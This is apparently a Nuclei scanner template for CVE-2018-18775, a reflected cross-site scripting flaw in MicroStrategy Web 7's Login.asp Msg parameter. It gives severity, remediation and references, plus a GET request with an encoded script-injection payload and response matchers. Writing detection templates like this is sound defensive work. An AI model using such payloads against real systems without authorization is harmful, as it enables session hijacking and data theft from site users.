id: CVE-2018-18775 info: name: Microstrategy Web 7 - Cross-Site Scripting author: 0x_Akoko severity: medium description: Microstrategy Web 7 does not sufficiently encode user-controlled inputs, resulting in cross-site scripting via the Login.asp Msg parameter. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. remediation: | Apply the latest security patches or updates provided by Microstrategy to fix the XSS vulnerability in the Web 7 application. reference: - https://www.exploit-db.com/exploits/45755 - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html - https://nvd.nist.gov/vuln/detail/CVE-2018-18775 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-18775 cwe-id: CWE-79 epss-score: 0.00157 epss-percentile: 0.52016 cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:* metadata: max-request: 1 vendor: microstrategy product: microstrategy_web tags: cve2018,cve,microstrategy,xss,edb,packetstorm,intrusive http: - method: GET path: - "{{BaseURL}}/microstrategy7/Login.asp?Server=Server001&Project=Project001&Port=0&Uid=Uid001&Msg=%22%3E%3Cscript%3Ealert(/{{randstr}}/)%3B%3C%2Fscript%3E%3C" matchers-condition: and matchers: - type: word part: body words: - '">' - type: word part: header words: - text/html - type: status status: - 200 # digest: 490a0046304402207123eb8e3f43f268cddc3bb273b66b20b3bf1f08874095623ad50e51430f0e59022052c81675e33da31853d4561f971afcdfb932a42ac21a884a96bb3d548b29e7fe:922c64590222798bb761d5b6d8e72950